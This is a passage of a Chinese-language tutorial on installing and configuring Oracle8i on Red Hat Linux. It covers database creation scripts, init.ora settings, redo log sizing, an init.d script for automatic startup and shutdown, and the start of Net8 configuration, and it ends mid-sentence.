当提示在Typical（典型）与Custom（定制）之间选择时，选择定制，同样，当提示在Dedicated Server Mode（专用服务器模式）和Shared Server Mode（共享服务器模式）之间选择时，选择专用服务器模式。如果你需要一个使用共享服务器模式（MTS）的数据库，你可以一开始创建一个使用专用服务器模式的数据库并在以后改变为共享服务器模式或MTS。如果你坚持创建一个使用共享服务器模式的数据库，一旦被启动，你可能得到这个错误：

ORA-01012: Not logged in

其原因在下面介绍，下文摘自Oracle8i Concept 文档(没包含在Oracle8i EE Linux CD，但是包含在Oracle8i EE NT CD！)：

Oracle8i Concepts Release 8.1.5
A67781-01
Chapter 8
Restricted Operations of the Multi-Threaded Server
Certain administrative activities cannot be performed while connected to a dispatcher process, including shutting down or starting an instance and media recovery. An error message is issued if you attempt to perform these activities while connected to a dispatcher process.

These activities are typically performed when connected with administrator privileges. When you want to connect with administrator privileges in a system configured with multi-threaded servers, you must state in your connect string that you want to use a dedicated server process (SRVR=DEDICATED) instead of a dispatcher process.

使用专用服务器的另一个原因，至少目前，是当创建一个实例(instance)时，使用BEQ协议，因为还没有设置任何监听器，至少没在一开始的安装时设置。BEQ协议是唯一一个不要求监听器正在运行的协议，并且只能用在Oracle正在运行的同一台机器上。还有，BEQ协议总是使用一个专用服务器，绝不是一个多线程服务器(MTS)。这是摘自Oracle8i Administration Reference for Linux的文字：

Oracle8i Administrator"s Reference Release 8.1.5 for Intel Linux
A74957-01
Chapter 5
The BEQ Protocol
The BEQ protocol is both a communications mechanism and a process-spawning mechanism. If a service name is not specified, either directly by the user on the command line or the login screen or indirectly through an environment variable such as TWO_TASK, then the BEQ protocol is used. In which case, a dedicated server will always be used, and the multi-threaded server is never used. This dedicated server is started automatically by the BEQ protocol, which waits for the server process to start and attach to an existing SGA. If the startup of the server process is successful, the BEQ protocol then provides inter-process communication through UNIX.

An important feature of the BEQ protocol is that no network listener is required for its operation, since the protocol is linked into the client tools and directly starts its own server process with no outside interaction. However, the BEQ protocol can only be used when the client program and Oracle8i reside on the same machine. The BEQ protocol is always installed and always linked to all client tools and to the Oracle8i Server.

如果上述仍然不能让你工作，它可能是NLS_LANG环境变量设置不当的问题。见尽管我使用了专用服务器过程，仍然得到“ ORA-01012 ：Not logged in”。

3.3 保存到脚本
当提示你是否要创建一个数据库，或保存到脚本中并在以后运行脚本时，选择保存到脚本。这将帮助你理解背后发生了什么并帮助你在数据库创建期间诊断任何问题。

3.4 运行脚本
脚本将在$ORACLE_HOME/install中找到。你仅需运行一个脚本，因为它以正确的顺序调用所有其他单独的脚本。我建议你分别运行每个脚本。

当你运行第一个脚本时，名为SIDrun.sh，它将启动实例并创建SYSTEM数据文件和表空间、控制文件和重做(redo)日志文件。运行其他脚本，名为SIDrun1.sh和SIDrun2.sh。

3.5 扩大你的重做日志文件
如果你接受缺省的512K的重做日志文件大小和2个重做日志组，你会注意到在$ORACLE_BASE/admin/SID/bdump警告日志文件中找到这样的消息：

Thread 1 cannot allocate new log, sequence 4
Checkpoint not complete

第一行的最后数字是变化的。这是因为重做日志文件尺寸太小。在这种情况下，再增加2个稍大些的（如4MB）重做日志记载组，删除并重建前2个日志组使得所有的日志文件组有4MB的大小。

如果你对重做日志组没有足够大的尺寸，脚本SIDjava.sh，它在Oracle8i中初始化Java，可能不能完成并且失败。如果你有较小的退回（rollback)片段，会发生同样的事情。

现在运行其他脚本，按照主脚本提供的顺序所指出的那样。当你运行脚本SIDjava.sh时，即如果你选择了JServer选件在数据库中创建，注意它可能花很长时间。罪魁祸首就是SQL语句create或REPLACE JAVA SYSTEM。

3.6 修改你的init.ora文件
由数据库助手生成的init.ora文件没有指明要使用的退回片段。这已经被指出来了，因为实例的初始启动还没有生成退回片段，除了在SYSTEM中的片段。

因此你需要修改你的位于$ORACLE_BASE/admin/pfile中的init.ora文件并且为ROLLBACK_SEGMENTS提供值。

3.7 不用数据库助手创建一个数据库
有一种方法不必使用dbassist创建一个数据库。进入$ORACLE_HOME/rdbms/install/create目录，并阅读读README文件。另一个参考是8i Patch FAQ的第9条。

以下是我使用在$ORACLE_HOME/rdbms/install/create下提供的脚本创建another数据库的步骤。在这种情形下，SID将称作8idb：

为了与以前创建数据库的管理文件的目录一致，我创建了如下目录：
cd $ORACLE_BASE/admin
mkdir 8idb
mkdir 8idb/pfile
mkdir 8idb/bdump
mkdir 8idb/cdump
mkdir 8idb/udump
mkdir 8idb/create
mkdir 8idb/exp
mkdir 8idb/adhoc
mkdir 8idb/arch

当然，你将不需要所有这些目录。你至少需要pfile、bdump、cdump和udump。

拷贝文件$ORACLE_HOME/rdbms/install/create/init.ora到目录$ORACLE_BASE/admin/8idb/pfile，并且我给文件起名为init8idb.ora。你可以保留init.ora名字。
然后建立下列符号连接：
ln -s $ORACLE_BASE/admin/8idb/pfile/init8idb.ora $ORACLE_HOME/dbs/init8idb.ora

连接的名字很重要，因为它应该在以后匹配/etc/oratab中的ORACLE_SID入口。在$ORACLE_HOME/bin中的脚本dbstart和dbshut读入在/etc/oratab中的每个入口，为每个入口获得ORACLE_SID，并寻找$ORACLE_HOME/dbs相应的参数文件， 这里参数文件的名字必须是initSID.ora。

现在修改$ORACLE_BASE/admin/8idb/pfile/init8idb.ora文件。我特别修改了下列入口：
以下，我命名新的数据库为我打算的SID：
db_name = 8idb
instance_name = 8idb
service_names = 8idb.company.com.au

对于控制文件，我指定了控制文件的完整路径和名字。这些文件将在数据库创建期间生成：
control_files = ("/home/oracle/app/oracle/oradata/8idb/control01.ctl",
"/home/oracle/app/oracle/oradata/8idb/control02.ctl")

对于共享池的尺寸，我修改shared_pool_size与其他数据库一样。我能记得dbassist说过类似于“you need at least 50mb for shared_pool_size with the JServer option”的东西。
shared_pool_size = 52428800

既然我们将在以后增加重做日志文件的数量和大小，我决定现在而非以后增加缓冲区。
log_buffer = 327680

退回片段仍然是离线的，因为数据库还没有被创建，所以这些还不存在。因此我给下列入口加上注释：
# rollback_segments =( r01 , r02 , r03 , r04 ）

指明你想在哪儿倒出文件。这里我做了下列设置：
background_dump_dest = /home/oracle/app/oracle/admin/8idb/bdump
core_dump_dest = /home/oracle/app/oracle/admin/8idb/cdump
user_dump_dest = /home/oracle/app/oracle/admin/8idb/udump

因为我不使用Advanced Replication Option（高级复制选件），我注释了下列入口：
#job_queue_processes = 0
#job_queue_interval = 60
#distributed_transactions = 10
#open_links = 4

我禁用了到8i数据库的IIOP连接的分派器（dispatcher）以便我们在警告文件和pmon跟踪文件中不会得到“Load Indicator not supported by OS”的消息。也要注意，在我的参数文件中没有任何mts入口。因此，这里被创建的数据库使用专用服务器进程。
#mts_dispatchers = "(PROTOCOL=TCP)(PRE=oracle.aurora.server.SGiopServer)"
#mts_servers = 1

最后，按README文件的说明，我改变compatible入口。然而，注意，dbassist仅允许值8.1.0。也许是dbassist另一个bug？
compatible = "8.1.5"

现在我创建立了目录/挂载点，在那里我想要存储数据文件。当然，遵循OFA，下列仅仅是一个例子。
mkdir $ORACLE_BASE/oradata/8idb

现在我从$ORACLE_HOME/rdbms/install/create拷贝脚本cdrb1.sh, cdrb2.sh,和cdrb3.sh到$ORACLE_HOME/install并分别命名他们为8idbcrdb1.sh, 8idbcrdb2.sh,和8idbcrdb3.sh：
cp -vf $ORACLE_HOME/rdbms/install/create/crdb1.sh $ORACLE_HOME/install/"$ORACLE_SID"crdb1.sh
cp -vf $ORACLE_HOME/rdbms/install/create/crdb2.sh $ORACLE_HOME/install/"$ORACLE_SID"crdb2.sh
cp -vf $ORACLE_HOME/rdbms/install/create/crdb3.sh $ORACLE_HOME/install/"$ORACLE_SID"crdb3.sh

确保你至少对于bash加双引号与$ORACLE_SID。

改变目录到$ORACLE_HOME/install。然后我编辑第一个脚本SIDcrdb1.sh（在这里8idbcrdb1.sh），显示如下：
修改ORACLE_SID匹配我想要的SID：
ORACLE_SID=8idb

修改口令文件的名字指明我想要的SID:
$ORACLE_HOME/bin/orapwd file=$ORACLE_HOME/dbs/orapw8idb password=change_on_install

修改starpup命令指明要使用的参数文件的地点。我们可以指明实际的参数文件而不是到参数文件的一个符号 连接：
startup nomount pfile = $ORACLE_HOME/dbs/init8idb.ora

改变在CREATE DATABASE命令中的数据库名以匹配在参数文件指明示的那个：
CREATE DATABASE "8idb"

再回到CREATE DATABASE命令，改变SYSTEM数据文件的地点和大小位于我们先前创建了的目录下：
DATAFILE "$ORACLE_BASE/oradata/8idb/system01.dbf" SIZE 80M

改变CREATE DATABASE命令中重做日志文件的地点并增加其大小：
logfile "$ORACLE_BASE/oradata/8idb/redo01.log" SIZE 4096K,
"$ORACLE_BASE/oradata/8idb/redo02.log" SIZE 4096K;

现在运行脚本SIDcdrb1.sh。如果你得到消息：
ORA-12162: TNS:service name is incorrectly specified

那么你没有为ORACLE_SID指定有效的值。这发生了保留ORACLE_SID的值$1时，它假定从命令行获得参数，而我没指定一个参数。

如果由于一些原因，数据库的创建失败了，你不光是只是重新运行脚本，是你将还要删除先前被创建了的口令文件。否则，你将得到：

OPW-00005: File with same name exists - please delete or rename

在我的情况中，我不仅删除了先前的口令文件，我也删除了文件$ORACLE_HOME/dbs/lkSID。这个文件似乎在你创建数据库时创建，实际上它只是一个文本文件："DO NOT DELETE THIS FILE!"

你可能碰到的其他错误如下：

ORA-01501: CREATE DATABASE failed
ORA-00200: controlfile could not be created
ORA-00202: controlfile: "/home/oracle/app/oracle/oradata/8idb/dbs/control02.ctl"
ORA-27040: skgfrcre: create error, unable to create file
Linux Error: 2: No such file or directory

错误是显然的，因为我为第二个控制文件指定了一个不存在的目录。

编辑第二个脚本SIDcrdb2.sh（8idbcrdb2.sh)：
修改ORACLE_SID匹配我想要的SID:
ORACLE_SID=8idb

我搜索所有$ORACLE_HOME/dbs的出现并且用$ORACLE_BASE/oradata/8idb替代了它们。因为我在同一个目录下存储他们。另外，遵循你的OFA地点，因此你可以最终为每个数据文件获得不同的挂载点。当然, 绝对确保你指定的路径存在(没有错别字!)或数据文件将不被创建，并且特别地你必须使再次运行脚本的一部分创建数据文件或借助svrmgrl创建他们。
现在运行第二个脚本SIDcrdb2.sh（8idbcrdb2.sh）。只要你正确指定了所有的路径，并且你正确地指定了你的ORACLE_SID，你应该没有任何问题。
现在，你可能想要增加更多的重做日志文件，否则你将在警告日志文件中得到类似于以下的消息：
Thread 1 cannot allocate new log, sequence 79
Checkpoint not complete

为此我运行了svrmgrl，以internal连接了并再创建了2个重做日志组，如下显示：

SQL> alter database
2 add logfile group 3 ("/home/oracle/app/oracle/oradata/8idb/redo03.log") size 4096K
3 /

Statement Processed.

SQL> alter database
2 add logfile group 4 ("/home/oracle/app/oracle/oradata/8idb/redo04.log") size 4096k
3 /

Statement Processed.

你可能想要通过在括号内增加另一个文件名，并且每个重做日志文件的文件名由一个逗号分开，且每个重做日志文件的文件名包围在他们自己的引号内，可让每个日志文件组有超过一个的成员。

编辑第3个脚本SIDcrdb3.sh（8idbcrdb3.sh）。我在这里做的所有改变是值ORACLE_SID。
运行第3个脚本。应该没有问题。
在继续安装Oracle的一些或所有选件前，你可能想要检查系SYSTEM表空间最大范围。通过sqlplus以system/manager登录并且做：
SQL> set linesize 1000
SQL> SELECT tablespace_name "TABLESPACE",
2 initial_extent "INITIAL_EXT",
3 next_extent "NEXT_EXT",
4 min_extents "MIN_EXT",
5 max_extents "MAX_EXT",
6 pct_increase
7 FROM sys.dba_tablespaces
8 /

TABLESPACE INITIAL_EXT NEXT_EXT MIN_EXT MAX_EXT PCT_INCREASE
------------------------------ ----------- ---------- ---------- ---------- ------------
SYSTEM 10240 10240 1 121 50
OEM_REPOSITORY 131072 131072 1 2147483645 0
RBS 131072 131072 2 2147483645 0
TEMP 262144 262144 1 2147483645 0
USERS 51200 51200 1 2147483645 0
INDX 51200 51200 1 2147483645 0

6 rows selected.

SYSTEM表空间的缺省MAXEXTENTS是121，它确实不够，特别是当我们增加Oracle选件时。如果我们不增加它，我们将得到类似于“unable to extend ... in tablespace SYSTEM”的错误消息。因此我做了：

SQL> alter tablespace system
2 default storage
3 (pctincrease 0 maxextents unlimited)
4 /

Tablespace altered.

现在再运行上面的查询。这次，SYSTEM表空间的MAX_EXT应该是一个大数字。

退出sqlplus并且返回到shell。现在选择你的数据库想要哪个Oracle选件。如果Oracle选件要求执行超过一个的脚本，保证你以在$ORACLE_HOME/rdbms/install/create/ README文件中说明的正确的顺序执行这些脚本。
确定改变每个脚本中的ORACLE_SID值。如果你加入InterMedia选件，保证你在drsys.sh脚本中为DRSYS数据文件指定了正确且有效的一条路径。

最后, 编辑你的initSID.ora文件并删除和rollback_segments入口的注释，以便在你关闭并且重启数据库时，将使用创建的退回片段。
记住，我们这里创建的数据库使用8idb作为ORACLE_SID，并且在后文中引用的数据库假定为ORACLE_SIDO为ORCL。

4. 数据库创建的后期过程
4.1自动化数据库启动和关闭
自动化数据库的启动和关闭是简单的。即使你不想要数据库自动地启动，你应该总是自动化数据库的关闭以防止破坏你的数据库。有关的步骤是：

su成为root。
用一行ORACLE_SID:ORACLE_HOME:{Y|N}形式修改/etc/oratab，用来自你的环境变量的值代替ORACLE_SID和 ORACLE_HOME。该行类似这样：
ORCL:/home/oracle/app/oracle/product/8.1.5:Y

在行末尾的Y将表明你是否想要数据库自动地启动和关闭。

在/etc/rc.d/init.d里创建一个脚本，起名为oracle8i，并把下面的代码放进去，它是在"Oracle8i Linux Installation Guide"提供的脚本基础上的一个修改版本。注意在该指南中的脚本由一个bug，阻止它关掉Oracle8i数据库。这在下面解释。
#!/bin/sh
# Set ORA_HOME to be equivalent to the ORACLE_HOME
# from which you wish to execute dbstart and
# dbshut
# set ORA_OWNER to the user id of the owner of the
# Oracle database in ORA_HOME

ORA_HOME=/home/oracle/app/oracle/product/8.1.5
ORA_OWNER=oracle

case "$1" in
"start")

# Start the Oracle databases:
# The following command assumes that the oracle login will not prompt the

# user for any values
echo -n "Starting Oracle8i: "
su - $ORA_OWNER -c $ORA_HOME/bin/dbstart
touch /var/lock/subsys/oracle8i
echo
;;

"stop")

# Stop the Oracle databases:
# The following command assumes that the oracle login will not prompt the

# user for any values
echo -n "Shutting down Oracle8i: "
su - $ORA_OWNER -c $ORA_HOME/bin/dbshut
rm -f /var/lock/subsys/oracle8i
echo
;;

"restart")

# Restart the Oracle databases:
echo -n "Retarting Oracle8i: "
$0 stop
$0 start
echo
;;

*)
echo "Usage: oracle8i { start | stop | restart }"
exit 1

esac
exit 0

确保用你的ORACLE_HOME环境变量值代替ORA_HOME的值。关于该修改的脚本有几点要注意的是：

上述修改的脚本在/var/lock/subsys下创建立一个文件以指出系统或进程正在运行，而缺省脚本不做这个。作为一个背景进程，脚本/etc/rc.d/rc，在杀死过程时，将对以一个K开始的运行级别（runlevel）执行所有脚本，并且它也通过检查在/var/lock/subsys下的一个文件（文件名类似）的存在与否来检查子系统是否正在运行。因此，如果你使用缺省脚本，它将不关闭Oracle8i 数据库，因为这个文件在/var/lock/subsys下不存在。对RedHat 6.0是这样。我不能肯定RedHat 6.1或其他Linux分发的/etc/rc.d/rc脚本是否相同。
作为上述的结论，如果你为上面的脚本起名不是oracle8i，修改所有的行：
touch /var/lock/subsys/oracle8i
rm /var/lock/subsys/oracle8i

并且用脚本名代替oracle8i。例如，如果你命名脚本为dbora，你应该有：

touch /var/lock/subsys/dbora
rm /var/lock/subsys/dbora

测试脚本确实在工作。试试：
./oracle8i stop
./oracle8i start
./oracle8i restart
./oracle8i invalid-parameter

创建到你刚刚创建的自动化数据库关闭的脚本的一个连接。Runlevel 0是HALT ，而runlevel 6是REBOOT。 我的情况是：
ln -s /etc/rc.d/init.d/oracle8i /etc/rc.d/rc0.d/K10oracle8i
ln -s /etc/rc.d/init.d/oracle8i /etc/rc.d/rc6.d/K10oracle8i

无论何时系统把它的runlevel改变到0或6，脚本将过获得执行，这就是当你分别发出/sbin/shutdown - h now和/sbin/shutdown - r now时所发生的。

另外，可以创建到你创建的自动化数据库启动脚本的一个连接。我为RedHat 6.0选择的缺省运行级别是runlevel 3。在我的情况中：
ln -s /etc/rc.d/init.d/oracle8i /etc/rc.d/rc3.d/S99oracle8i

4.2 安装 SQL * Plus联机帮助
如果你还没有SQL*Plus的帮助手段，你可以想要安装它。这完全是可选的。通过运行SQL*Plus并且在SQL*Plus提示符下键入HELP来检查你是否有了SQL*Plus的联机帮助。要安装联机帮助：

以oracle登录到shell。
键入export SYSTEM_PASS=system/manager（对Bash)定义环境变量SYSTEM_PASS。
执行脚本$ORACLE_HOME/bin/helpins。
运行SQL*Plus并在SQL*Plus提示符下键入HELP。

5. 配置Net8
在本节中，将解释如何安装并且配置一个Net8监听器和Oracle命名服务者。你不必要求使用Oracle命名服务器。Oracle提供若干方法解析网络服务名字。对于完全的讨论，见从 Oracle技术网络站点的Oracle Net8 管理员指南。

5.1 Net8助手的局限
你可能经历了Net8助手的问题。我所碰到的导致netasst崩溃的情形是在做下列的任何操作：

测试一个网络服务名字。
查找Oracle命名服务器。
创建Oracle命名服务器。
上述的结果是，不能为Oracle命名服务器的敏感操作(例如START、STOP和RELOAD)设置一个Oracle命名服务器加密的口令，因为口令的加密似�